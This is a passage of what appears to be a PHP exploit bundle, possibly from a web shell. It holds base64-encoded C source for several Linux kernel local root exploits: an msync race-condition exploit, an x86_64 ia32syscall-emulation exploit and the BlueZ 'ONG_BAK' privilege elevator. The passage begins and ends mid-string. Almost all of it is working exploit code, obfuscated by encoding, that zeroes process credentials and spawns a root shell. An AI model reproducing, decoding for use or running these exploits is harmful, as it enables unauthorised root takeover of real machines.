nsNCmludCBpOw0Kdm9pZCAqdm1hID0gJmZha2VzLT52bWE7DQp2b2lkICoqcCA9IGJ1ZjsNCg0KZm9yIChpID0gMDsgaSA8IE1BUFNURVA7IGkgKz0gc2l6ZW9mKHZvaWQgKikpDQoqcCsrID0gdm1hOyAvKiAhISEgKi8NCn0NCg0KDQpzdGF0aWMgdm9pZCBzaWdoYW5kKGludCBkKQ0Kew0KZ290c2lnID0gMTsNCn0NCg0KDQpzdGF0aWMgaW50IHRocmVhZCh2b2lkICpkKQ0Kew0KaW50IHQzOw0KaW50IHJldDsNCmludCBpOw0KDQp3YWl0NHNpZygpOw0KcHJpbnRmKFxcXCIoc2xlZXAxKVxcXFxuXFxcIik7DQp1c2xlZXAoMzAwMDAwKTsNCnByaW50ZihcXFwiKHNsZWVwMSBmaW5pc2hlZClcXFxcblxcXCIpOw0KcHJpbnRmKFxcXCJ0cnlpbmcgdG8gbW1hcCBiYWNrIHRoZSBldmlsIHBhZ2VcXFxcblxcXCIpOw0KZm9yIChpID0gMDsgaSA8IFZNQUZJTEw7IGkrKykgew0KaWYgKGkgPT0gVk1BRklMTC8yKQ0KcmV0PW1tYXAoc3dhcG1lbSArIFBBR0VfU0laRSAqIDIsIFBBR0VfU0laRSwgUFJPVF9SRUFEfFBST1RfV1JJVEUsTUFQX1NIQVJFRHxNQVBfRklYRUQsIGZkMywgMCk7DQptbWFwKHZtYW1lbSArIGkgKiBQQUdFX1NJWkUsIFBBR0VfU0laRSwgUFJPVF9SRUFEfCgoaSYxKT8oUFJPVF9XUklURSk6KFBST1RfRVhFQykpLA0KTUFQX1BSSVZBVEV8TUFQX0FOT05ZTU9VUywgMCwgMCk7DQp9DQpzd2FwbWVtW1BBR0VfU0laRSoyXSA9IFxcXCd4XFxcJzsNCnByaW50ZihcXFwiJXAsIGV2aWwgbWFwcGVkXFxcXG5cXFwiLHJldCk7DQpwcmludGYoXFxcIihzbGVlcDIpXFxcXG5cXFwiKTsNCmlmIChzZW0pDQpjbGVhbnVwKCk7DQpzZW5kc2lnKHQzKTsNCnVzbGVlcCgzMDAwMDApOw0KcHJpbnRmKFxcXCIoc2xlZXAyIGZpbmlzaGVkKVxcXFxuXFxcIik7DQppZiAoc2VtKQ0KY2xlYW51cCgpOw0KbXVubWFwKHZtYW1lbSwgVk1BRklMTCAqIFBBR0VfU0laRSk7DQpwcmludGYoXFxcImRvaW5nIG1zeW5jXFxcXG5cXFwiKTsNCnByaW50ZihcXFwic3RpbGwgZG9pbmcgbXN5bmNcXFxcblxcXCIpOw0KcmV0ID0gbXN5bmMoc3dhcG1lbSArIFBBR0VfU0laRSAqIDIsIFBBR0VfU0laRSAqIDQsIE1TX1NZTkMpOw0KcHJpbnRmKFxcXCJmaW5pc2hlZCBtc3luYywgJWQsIGVycm5vPSVkXFxcXG5cXFwiLCByZXQsIGVycm5vKTsNCmlmIChyZXQgPT0gLTEgJiYgZXJybm8gPT0gMTIzKSB7DQpzZW0gPSAwOw0Ka2lsbGFsbCgpOw0KcHJpbnRmKFxcXCJ5NFxcXCdyMyAxdUNreSBrMWQhXFxcXG5cXFwiKTsNCnNldHJlc3VpZCgwLCAwLCAwKTsNCnNldHJlc2dpZCgwLCAwLCAwKTsNCmV4ZWNsKFxcXCIvYmluL3NoXFxcIiwgXFxcInNoXFxcIiwgXFxcIi1pXFxcIiwgTlVMTCk7DQpwcmludGYoXFxcImV4ZWN2ZSBmYWlsZWQgJWRcXFxcblxcXCIsIGVycm5vKTsNCn0NCmlmICghc2VtKSB7DQpwcmludGYoXFxcIjooXFxcXG5cXFwiKTsNCmNsZWFudXAoKTsNCn0NCl9leGl0KDApOw0KfQ0KDQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KaW50IGksIG47DQpjaGFyICpkdW1teSA9IERCQVNFOw0KDQpwcmludGYoXFxcImxpbnV4IGtlcm5lbCBtc3luYyByYWNlIGNvbmRpdGlvblxcXFxuYnVnIGRpc2NvdmVyZWQgYnkgc2QsIA0KZnVydGhlciByZXNlYXJjaCBieSBzZCBhbmQgKioqKipcXFxcbnRoaXMgaXMgZGV2ZWxvcG1lbnQtaW4tcHJvZ3Jlc3MgY29kZSwNCnJlZGlzdHJpYnV0aW9uIHByb2hpYml0ZWQhXFxcXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cXFxcblxcXCIpOw0KDQpzaWduYWwoU0lHVVNSMSwgc2lnaGFuZCk7DQpzaWduYWwoU0lHQUxSTSwgc2lnaGFuZCk7DQpzZXRidWYoc3Rkb3V0LCBOVUxMKTsNCg0KaSA9IG9wZW4oU0hBUkVGSUxFLCBPX0NSRUFUfE9fUkRXUnxPX1RSVU5DLCAwNzc3KTsNCg0KbW1hcChGQUtFU19CQVNFLCBQQUdFX0FMSUdOKHNpemVvZigqZmFrZXMpKSwgUFJPVF9SRUFEfFBST1RfV1JJVEV8UFJPVF9FWEVDLCBNQVBfU0hBUkVELCBpLDApOw0KZnRydW5jYXRlKGksIFBBR0VfQUxJR04oc2l6ZW9mKCpmYWtlcykpKTsNCmJ1aWxkX2Zha2V2bWEoKTsNCnQ0ID0gZm9yaygpOw0KaWYgKCF0NCkgew0Kd2hpbGUgKDEpIHsNCmZha2VzLT50MSsrOw0KZmFrZXMtPnQyKys7DQpzY2hlZF95aWVsZCgpOw0KfQ0KfQ0KcHJpbnRmKFxcXCJjcmVhdGluZyBmYWtlcGFnZVxcXFxuXFxcIik7DQpjcmVhdGVfZmFrZXBhZ2UoYnVmKTsNCmkgPSBvcGVuKERVTU1ZRklMRSxPX0NSRUFUfE9fUkRXUnxPX1RSVU5DLCAwNzc3KTsNCmZ0cnVuY2F0ZShpLCBNQVBTVEVQKTsNCndyaXRlKGksIGJ1ZiwgTUFQU1RFUCk7DQpmb3IgKG4gPSAwOyBuIDwgTUVNU1o7IG4gKz0gTUFQU1RFUCkNCm1tYXAoZHVtbXkgKyBuLCBNQVBTVEVQLCBQUk9UX1JFQUR8UFJPVF9XUklURSwgTUFQX1NIQVJFRCwgaSwgMCk7DQoNCmZkMyA9IG9wZW4oRUFURklMRSwgT19DUkVBVHxPX1JEV1J8T19UUlVOQywgMDc3Nyk7DQpmdHJ1bmNhdGUoZmQzLCAxNjM4NCk7DQovKiBjcmVhdGUgdGhlIHNvdXJjZSBqdW5rZmlsZSAqLw0KZmQxID0gb3BlbihFQVRGSUxFUywgT19DUkVBVHxPX1JEV1J8T19UUlVOQywgMDc3Nyk7DQphbGFybShFQVRUSU1FKTsNCnByaW50ZihcXFwiZG9uZSBmYWtlcGFnZVxcXFxuXFxcIik7DQpkbyB7DQppbnQgYzsNCmMgPSB3cml0ZShmZDEsIGJ1ZiwgTUFQU1RFUCk7DQppZiAoYyA8IE1BUFNURVApDQpicmVhazsNCmJpZ3NpemUgKz0gYzsNCnByaW50ZihcXFwiZG9uZSAlZCBLYlxcXFxyXFxcIiwgYmlnc2l6ZSAvIDEwMjQpOw0KfSB3aGlsZSAoIWdvdHNpZyk7DQpwcmludGYoXFxcIlxcXFxuXFxcIik7DQphbGFybSgwKTsNCmdvdHNpZyA9IDA7DQpiaWdtZW0gPSBtbWFwKGJhc2UgLSBiaWdzaXplLCBiaWdzaXplLCBQUk9UX1JFQUR8UFJPVF9XUklURXxQUk9UX0VYRUMsIE1BUF9GSVhFRHxNQVBfU0hBUkVELCBmZDEsIDApOw0KaWYgKGJpZ21lbSA9PSBNQVBfRkFJTEVEKQ0KY2xlYW51cCgpOw0KDQp0MyA9IGZvcmsoKTsNCg0KaWYgKCF0Mykgew0Kd2FpdDRzaWcoKTsNCnByaW50ZihcXFwic3RhcnRpbmcgYWdncmVzaXZlIHdyaXRlIVxcXFxuXFxcIik7DQp3cml0ZShmZDMsIGJpZ21lbSwgYmlnc2l6ZSk7DQpwcmludGYoXFxcImRvbmUgYWdncmVzaXZlIHdyaXRlIVxcXFxuXFxcIik7DQpfZXhpdCgwKTsNCn0NCg0KdDIgPSBjbG9uZSh0aHJlYWQsIHRocmVhZF9zdGFjayArIHNpemVvZih0aHJlYWRfc3RhY2spIC0gNCwNCjB4ZjAwLCBOVUxMKTsNCg0Kc3dhcG1lbSA9IGJhc2U7DQppZiAobW1hcChzd2FwbWVtLCBQQUdFX1NJWkUsIFBST1RfUkVBRHxQUk9UX1dSSVRFfFBST1RfRVhFQywgTUFQX0FOT05ZTU9VU3xNQVBfUFJJVkFURSwgMCwgMCkNCj09IE1BUF9GQUlMRUQpIGNsZWFudXAoKTsNCg0KLyogY3JlYXRlIHRoZSBzd2FwICovDQpwcmludGYoXFxcImNyZWF0aW5nIHN3YXBmaWxlXFxcXG5cXFwiKTsNCmZkMiA9IG9wZW4oU1dBUEZJTEUsIE9fQ1JFQVR8T19SRFdSfE9fVFJVTkMsIDA3NzcpOw0KZnRydW5jYXRlKGZkMiwgTUVNU1opOw0Kdm1hbWVtID0gc3dhcG1lbSArIE1FTVNaICsgMTYqUEFHRV9TSVpFOw0KLy8gYmFzZSArPSBWTUFGSUxMICogUEFHRV9TSVpFOw0KDQpwcmludGYoXFxcInZtYW1lbSA9ICVwXFxcXG5cXFwiLCB2bWFtZW0pOw0KbW1hcChzd2FwbWVtICsgUEFHRV9TSVpFLCBQQUdFX1NJWkUsIFBST1RfUkVBRHxQUk9UX1dSSVRFLCBNQVBfU0hBUkVEfE1BUF9GSVhFRCwgZmQyLCAwKTsNCnByaW50ZihcXFwic3dhcG1lbSA9ICVwLCBzd2Fwc2l6ZSA9ICVkXFxcXG5cXFwiLCBzd2FwbWVtLCAyKlBBR0VfU0laRSk7DQovLyBnZXRjaGFyKCk7DQoNCi8vIG11bm1hcCh2bWFtZW0sIFZNQUZJTEwgKiBQQUdFX1NJWkUpOw0KDQp3cml0ZShmZDIsIGR1bW15LCBNRU1TWik7DQpjbG9zZShmZDIpOw0KDQpwcmludGYoXFxcInVubGlua1xcXFxuXFxcIik7DQp1bmxpbmsoU1dBUEZJTEUpOw0KDQoNCi8vIGNvcmVfc3RhdCgpOw0KDQpidWlsZF9mYWtldm1hKCk7DQpzZW5kc2lnKHQyKTsNCmxpbWcucGgucF92YWRkciA9ICh1bnNpZ25lZCkgc3dhcG1lbSArIFBBR0VfU0laRTsNCmxpbWcucGgucF9tZW1zeiA9IFBBR0VfU0laRSAqIDI7DQptYWtlX2xpYihMSUJGSUxFKTsNCnByaW50ZihcXFwic3RhcnRlZCB1c2VsaWJcXFxcblxcXCIpOw0KdGltZV9zdGFydCgpOw0KdXNlbGliKExJQkZJTEUpOw0KLy8gbXVubWFwKHN3YXBtZW0gKyBQQUdFX1NJWkUsIFBBR0VfU0laRSk7DQp0aW1lX2VuZCgpOw0KcHJpbnRmKFxcXCJ1c2VsaWIgZmluaXNoZWQhXFxcXG5cXFwiKTsNCnNlbSA9IDE7DQpwcmludGYoXFxcInBpZCAlZFxcXFxuXFxcIixnZXRwaWQoKSk7DQovLyBjb3JlX3N0YXQoKTsNCm4gPSAwOw0KbiA9IHdhaXRwaWQodDIsIE5VTEwsIF9fV0NMT05FKTsNCnByaW50ZihcXFwid2FpdHBpZCBnb3QgJWQvJWRcXFxcblxcXCIsIG4sIGVycm5vKTsNCi8vIGtpbGxhbGwoKTsNCmNsZWFudXAoKTsNCn0NCg==");
$two_four[3] = base64_decode("LyoNCiAqIGV4cGxvaXQgZm9yIHg4Nl82NCBsaW51eCBrZXJuZWwgaWEzMnN5c2NhbGwgZW11bGF0aW9uDQogKiBidWcsIGRpc2NvdmVyZWQgYnkgV29qY2llY2ggUHVyY3p5bnNraSA8Y2xpcGhfYXRfaXNlYy5wbD4NCiAqDQogKiBieQ0KICogUm9iZXJ0IFN3aWVja2kgPHJvYmVydF9hdF9zd2llY2tpLm5ldD4NCiAqIFByemVteXNsYXcgRnJhc3VuZWsgPHZlbmdsaW5fYXRfZnJlZWJzZC5sdWJsaW4ucGw+DQogKiBQYXdlbCBQaXNhcmN6eWsgPHBhd2VsX2F0X2ltbW9zLmNvbS5wbD4NCiAqIG9mIEFUTS1MYWIgaHR0cDovL3d3dy5hdG0tbGFiLnBsDQogKi8NCg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy93YWl0Lmg+DQojaW5jbHVkZSA8c3lzL3B0cmFjZS5oPg0KI2luY2x1ZGUgPGludHR5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3JlZy5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8c3lzL21tYW4uaD4NCg0KdWludDMyX3QgdWlkLCBldWlkLCBzdWlkOw0KDQpzdGF0aWMgdm9pZCBrZXJuZWxtb2RlY29kZSh2b2lkKQ0Kew0KICAgICAgICBpbnQgaTsNCiAgICAgICAgdWludDhfdCAqZ3M7DQogICAgICAgIHVpbnQzMl90ICpwdHI7DQoNCiAgICAgICAgYXNtIHZvbGF0aWxlIChcXFwibW92cSAlJWdzOigweDApLCAlMFxcXCIgOiBcXFwiPXJcXFwiKGdzKSk7DQoNCiAgICAgICAgZm9yIChpID0gMjAwOyBpIDwgMTAwMDsgaSs9MSkgew0KDQogICAgICAgICAgICAgICAgcHRyID0gKHVpbnQzMl90KikgKGdzICsgaSk7DQoNCiAgICAgICAgICAgICAgICBpZiAoKHB0clswXSA9PSB1aWQpICYmIChwdHJbMV0gPT0gZXVpZCkNCiAgICAgICAgICAgICAgICAgICAgICAgICYmIChwdHJbMl0gPT0gc3VpZCkgJiYgKHB0clszXSA9PSB1aWQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBwdHJbMF0gPSAwOyAvL1VJRA0KICAgICAgICAgICAgICAgICAgICAgICAgcHRyWzFdID0gMDsgLy9FVUlEDQogICAgICAgICAgICAgICAgICAgICAgICBwdHJbMl0gPSAwOyAvL1NVSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCn0NCg0Kc3RhdGljIHZvaWQgZG9jYWxsKHVpbnQ2NF90ICpwdHIsIHVpbnQ2NF90IHNpemUpDQp7DQogICAgICAgIGdldHJlc3VpZCgmdWlkLCAmZXVpZCwgJnN1aWQpOw0KDQogICAgICAgIHVpbnQ2NF90IHRtcCA9ICgodWludDY0X3QpcHRyICYgfjB4MDAwMDAwMDAwMDBGRkYpOw0KDQogICAgICAgIGlmIChtbWFwKCh2b2lkKil0bXAsIHNpemUsIFBST1RfUkVBRHxQUk9UX1dSSVRFfFBST1RfRVhFQywNCiAgICAgICAgICAgICAgICBNQVBfUFJJVkFURXxNQVBfRklYRUR8TUFQX0FOT05ZTU9VUywgLTEsIDApID09IE1BUF9GQUlMRUQpIHsNCiAgICAgICAgICAgICAgICBwcmludGYoXFxcIm1tYXAgZmF1bHRcXFxcblxcXCIpOw0KICAgICAgICAgICAgICAgIGV4aXQoMSk7DQogICAgICAgIH0NCg0KICAgICAgICBmb3IgKDsgcHRyIDwgKHRtcCArIHNpemUpOyBwdHIrKykNCiAgICAgICAgICAgICAgICAqcHRyID0gKHVpbnQ2NF90KWtlcm5lbG1vZGVjb2RlOw0KDQogICAgICAgIF9fYXNtX18oXFxcIlxcXFxuXFxcIg0KICAgICAgICBcXFwiXFxcXHRtb3ZxICQweDEwMSwgJXJheFxcXFxuXFxcIg0KICAgICAgICBcXFwiXFxcXHRpbnQgJDB4ODBcXFxcblxcXCIpOw0KDQogICAgICAgIHByaW50ZihcXFwiVUlEICVkLCBFVUlEOiVkIEdJRDolZCwgRUdJRDolZFxcXFxuXFxcIiwgZ2V0dWlkKCksIGdldGV1aWQoKSwgZ2V0Z2lkKCksIGdldGVnaWQoKSk7DQogICAgICAgIGV4ZWNsKFxcXCIvYmluL3NoXFxcIiwgXFxcImJpbi9zaFxcXCIsIDApOw0KICAgICAgICBwcmludGYoXFxcIm5vIC9iaW4vc2ggPz9cXFxcblxcXCIpOw0KICAgICAgICBleGl0KDApOw0KfQ0KDQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3YpDQp7DQogICAgICAgIGludCBwaWQsIHN0YXR1cywgc2V0ID0gMDsNCiAgICAgICAgdWludDY0X3QgcmF4Ow0KICAgICAgICB1aW50NjRfdCBrZXJuX3MgPSAweGZmZmZmZmZmODAwMDAwMDA7DQogICAgICAgIHVpbnQ2NF90IGtlcm5fZSA9IDB4ZmZmZmZmZmY4NDAwMDAwMDsNCiAgICAgICAgdWludDY0X3Qgb2ZmID0gMHgwMDAwMDAwODAwMDAwMTAxICogODsNCg0KICAgICAgICBpZiAoYXJnYyA9PSA0KSB7DQogICAgICAgICAgICAgICAgZG9jYWxsKCh1aW50NjRfdCopKGtlcm5fcyArIG9mZiksIGtlcm5fZSAtIGtlcm5fcyk7DQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgocGlkID0gZm9yaygpKSA9PSAwKSB7DQogICAgICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9UUkFDRU1FLCAwLCAwLCAwKTsNCiAgICAgICAgICAgICAgICBleGVjbChhcmd2WzBdLCBhcmd2WzBdLCBcXFwiMlxcXCIsIFxcXCIzXFxcIiwgXFxcIjRcXFwiLCAwKTsNCiAgICAgICAgICAgICAgICBwZXJyb3IoXFxcImV4ZWMgZmF1bHRcXFwiKTsNCiAgICAgICAgICAgICAgICBleGl0KDEpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKHBpZCA9PSAtMSkgew0KICAgICAgICAgICAgICAgIHByaW50ZihcXFwiZm9yayBmYXVsdFxcXFxuXFxcIik7DQogICAgICAgICAgICAgICAgZXhpdCgxKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZvciAoOzspIHsNCiAgICAgICAgICAgICAgICBpZiAod2FpdCgmc3RhdHVzKSAhPSBwaWQpDQogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCg0KICAgICAgICAgICAgICAgIGlmIChXSUZFWElURUQoc3RhdHVzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRmKFxcXCJQcm9jZXNzIGZpbmlzaGVkXFxcXG5cXFwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmICghV0lGU1RPUFBFRChzdGF0dXMpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQoNCiAgICAgICAgICAgICAgICBpZiAoV1NUT1BTSUcoc3RhdHVzKSAhPSBTSUdUUkFQKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBwcmludGYoXFxcIlByb2Nlc3MgcmVjZWl2ZWQgc2lnbmFsOiAlZFxcXFxuXFxcIiwgV1NUT1BTSUcoc3RhdHVzKSk7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICByYXggPSBwdHJhY2UoUFRSQUNFX1BFRUtVU0VSLCBwaWQsIDgqT1JJR19SQVgsIDApOw0KICAgICAgICAgICAgICAgIGlmIChyYXggPT0gMHgwMDAwMDAwMDAxMDEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwdHJhY2UoUFRSQUNFX1BPS0VVU0VSLCBwaWQsIDgqT1JJR19SQVgsIG9mZi84KSA9PSAtMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludGYoXFxcIlBUUkFDRV9QT0tFVVNFUiBmYXVsdFxcXFxuXFxcIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoMSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBzZXQgPSAxOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmICgocmF4ID09IDExKSAmJiBzZXQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHB0cmFjZShQVFJBQ0VfREVUQUNILCBwaWQsIDAsIDApOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yKDs7KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGVlcCgxMDAwMCk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgaWYgKHB0cmFjZShQVFJBQ0VfU1lTQ0FMTCwgcGlkLCAxLCAwKSA9PSAtMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRmKFxcXCJQVFJBQ0VfU1lTQ0FMTCBmYXVsdFxcXFxuXFxcIik7DQogICAgICAgICAgICAgICAgICAgICAgICBleGl0KDEpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAwOw0KfQ0K");
$two_four[4] = base64_decode("LyoNCg0KRHVlIHRvIG1hbnkgcmVzcG9uc2VzIGlcXFwndmUgaW1wcm92ZWQgdGhlIGV4cGxvaXQNCnRvIGNvdmVyIG1vcmUgc3lzdGVtcyENCg0KDQogIE9OR19CQUsgdjAuOSAgIFtvY3RvYmVyIDI0dGggMDVdDQpcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCINCm8gdW5pdmVyc2FsIFxcXCJzaGVsbGNvZGVcXFwiIGFkZGVkDQpvIHRyeSB0byB1c2UgYWxsIHBvc3NpYmxlIG1lbW9yeSByZWdpb25zDQpvIGJ1Z2ZpeGVzDQoNCnFvYmFpYXNoaUB2b3lhZ2VyOn4vdzAwbmYva2VybmVsc3Bsb2l0PiAuL29uZ19iYWsgLTEwMDIyMg0KLXwtYmx1ZXogbG9jYWwgcm9vdCBleHBsb2l0IHYuMC45ICAtYnkgcW9iYWlhc2hpLQ0KIHwNCiB8LSBpXFxcJ3ZlIGZvdW5kIGtlcm5lbCAyLjYuMTEuNC0yMGEtZGVmYXVsdA0KIHwtIHRyYW1wb2xpbmUgaXMgYXQgMHg4MDQ4NjljDQogfC0gdHJ5aW5nLi4uDQogfC0gW2VjeDogYmY4ZDAwMDAgXQ0KIHwtIHN1aXRhYmxlIHZhbHVlIGZvdW5kIXVzaW5nIDB4YmY4ZDAwMDANCiB8LSB0aGUgdGltZSBoYXMgY29tZSB0byBwdXNoIHRoZSBidXR0b24uLi4NCnNoLTMuMDAjIGV4aXQNCg0KDQoNCg0KDQoNCiAgT05HX0JBSyB2MC4zICAgW2FwcmlsIDh0aCAwNV0NClxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIg0Kb25nX2JhayBub3cgY2hlY2tzIHRoZSB2YWx1ZSBvZiBlY3ggYW5kIGxhdW5jaGVzDQp0aGUgZXhwbG9pdCBpbiBjYXNlIGEgc3VpdGFibGUgdmFsdWUgaGFzIGJlZW4gZm91bmQhDQoNCg0KDQogIE9OR19CQUsgdjAuMSAgIFthcHJpbCA0dGggMDVdDQpcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCJcXFwiXFxcIlxcXCINCg0KbG9jYWwgcm9vdCBleHBsb2l0IGZvciB0aGUgYmx1ZXRvb3RoIGJ1Zw0KDQp1c2FnZToNCg0KdGhlIGJ1ZyBpcyBxdWl0ZSBzdGFibGUgc28geW91IGNhblxcXCd0IHJlYWx5IGZ1Y2sgdGhpbmdzIHVwDQppZiB5b3Ugc3RpY2sgdG8gdGhlIGZvbGxvd2luZzoNCg0KcGxheSBhcm91bmQgd2l0aCB0aGUgbmVnYXRpdmUgYXJndW1lbnQgdW50aWwgZWN4IHBvaW50cyB0byANCm91ciBkYXRhIHNlZ21lbnQ6DQoNCg0KcW9iYWlhc2hpQHZveWFnZXI6fj4gLi9vbmdfYmFrIC0xMDAyMzQxDQotfC1sb2NhbCBibHVleiBleHBsb2l0IHYuMC4zICAtYnkgcW9iYWlhc2hpLQ0KIHwNCiB8LSBpXFxcJ3ZlIGZvdW5kIGtlcm5lbCAyLjYuNC01Mi1kZWZhdWx0DQogfC0gdHJ5aW5nLi4uDQogfC0gW2VjeDogMGI4ZjBmMGYgXQ0KcW9iYWlhc2hpQHZveWFnZXI6fj4gLi9vbmdfYmFrIC0xMDAyMzQxMQ0KLXwtbG9jYWwgYmx1ZXogZXhwbG9pdCB2LjAuMyAgLWJ5IHFvYmFpYXNoaS0NCiB8DQogfC0gaVxcXCd2ZSBmb3VuZCBrZXJuZWwgMi42LjQtNTItZGVmYXVsdA0KIHwtIHRyeWluZy4uLg0KIHwtIFtlY3g6IDA4MDlkYTQwIF0NCiB8LSBzdWl0YWJsZSB2YWx1ZSBmb3VuZCF1c2luZyAweDA4MDlkYTQwDQogfC0gdGhlIHRpbWUgaGFzIGNvbWUgdG8gcHVzaCB0aGUgYnV0dG9uLi4NCnFvYmFpYXNoaUB2b3lhZ2VyOn4+IGlkDQp1aWQ9MChyb290KSBnaWQ9MChyb290KSBHcnVwcGVuPTE0KHV1Y3ApLDE2KGRpYWxvdXQpLDE3KGF1ZGlvKSwzMyh2aWRlbyksMTAwKHVzZXJzKQ0KcW9iYWlhc2hpQHZveWFnZXI6fj4NCg0KDQoNCnRoYXRcXFwncyBpdC4NCnVuZm9ydHVuYXRlbHkgaXRcXFwncyBub3QgeWV0IHZlcnkgcHJhY3RpY2FibGUuLg0KDQpxb2JhaWFzaGlAdS1uLWYuY29tDQoNCiovDQoNCiNpbmNsdWRlIDxzeXMva2xvZy5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxibHVldG9vdGgvYmx1ZXRvb3RoLmg+DQojaW5jbHVkZSA8Ymx1ZXRvb3RoL2hjaS5oPg0KI2luY2x1ZGUgPGJsdWV0b290aC9oY2lfbGliLmg+DQojaW5jbHVkZSA8c3lzL3V0c25hbWUuaD4NCiNpbmNsdWRlIDxzeXMvbW1hbi5oPg0KDQoNCnZvaWQgdXNhZ2UoY2hhciAqcGF0aCk7DQoNCi8vPT09PT09PT09PT09PT09PT09PVsga2VybmVsIDIuNiogcHJpdmlsZWdlIGVsZXZhdG9yIF09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQovLz09PT09PT09PT09PT09PT09PT1bICAgICAgcW9iYWlhc2hpQHUtbi1mLmNvbSAgICAgICBdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KLy9nbG9iYWxzDQppbnQgdWlkLCBnaWQ7DQoNCmV4dGVybiBsb2FkX2hpZ2hsZXZlbDsNCl9fYXNtX18NCigNClxcXCJsb2FkX2hpZ2hsZXZlbDogICAgICAgICBcXFxcblxcXCINClxcXCJ4b3IgICAgJWVheCwgJWVheCAgICAgICBcXFxcblxcXCINClxcXCJtb3YgICAgJDB4ZmZmZmUwMDAsICVlYXhcXFxcblxcXCINClxcXCJhbmQgICAgJWVzcCwlZWF4ICAgICAgICBcXFxcblxcXCINClxcXCJwdXNobCAgJWVheCAgICAgICAgICAgICBcXFxcblxcXCINClxcXCJjYWxsICAgc2V0X3Jvb3QgICAgICAgICBcXFxcblxcXCINClxcXCJwb3AgICAgJWVheCAgICAgICAgICAgICBcXFxcblxcXCINCi8vcmV0IHRvIHVzZXJzcGFjZS0yLjYuKiB2ZXJzaW9uDQpcXFwiIGNsaSAgICAgICAgICAgICAgICAgICAgXFxcXG5cXFwiDQpcXFwiIHB1c2hsICQweDdiICAgICAgICAgICAgXFxcXG5cXFwiICAgICAgLy9EUyB1c2VyIHNlbGVjdG9yDQpcXFwiIHBvcCAgICVkcyAgICAgICAgICAgICAgXFxcXG5cXFwiDQpcXFwiIHB1c2hsICVkcyAgICAgICAgICAgICAgXFxcXG5cXFwiICAgICAgLy9TUw0KXFxcIiBwdXNobCAkMHhjMDAwMDAwMCAgICAgIFxcXFxuXFxcIiAgICAgIC8vRVNQDQpcXFwiIHB1c2hsICQweDI0NiAgICAgICAgICAgXFxcXG5cXFwiICAgICAgLy9FRkxBR1MNClxcXCIgcHVzaGwgJDB4NzMgICAgICAgICAgICBcXFxcblxcXCIgICAgICAvL0NTIHVzZXIgc2VsZWN0b3INClxcXCIgcHVzaGwgJHNoZWxsY29kZSAgICAgICBcXFxcblxcXCIgICAgICAvL0VJUCBtdXN0IG5vdCBiZSBhIHB1c2ggL2Jpbi9zaCBzaGVsbGNvZGUhIQ0KXFxcImlyZXQgICAgICAgICAgICAgICAgICAgIFxcXFxuXFxcIg0KKTsNCg0Kdm9pZCBzZXRfcm9vdCh1bnNpZ25lZCBpbnQgKnRzKQ0Kew0KdHMgPSAoaW50KikqdHM7DQppbnQgY250cjsNCi8vaG9wZSB5b3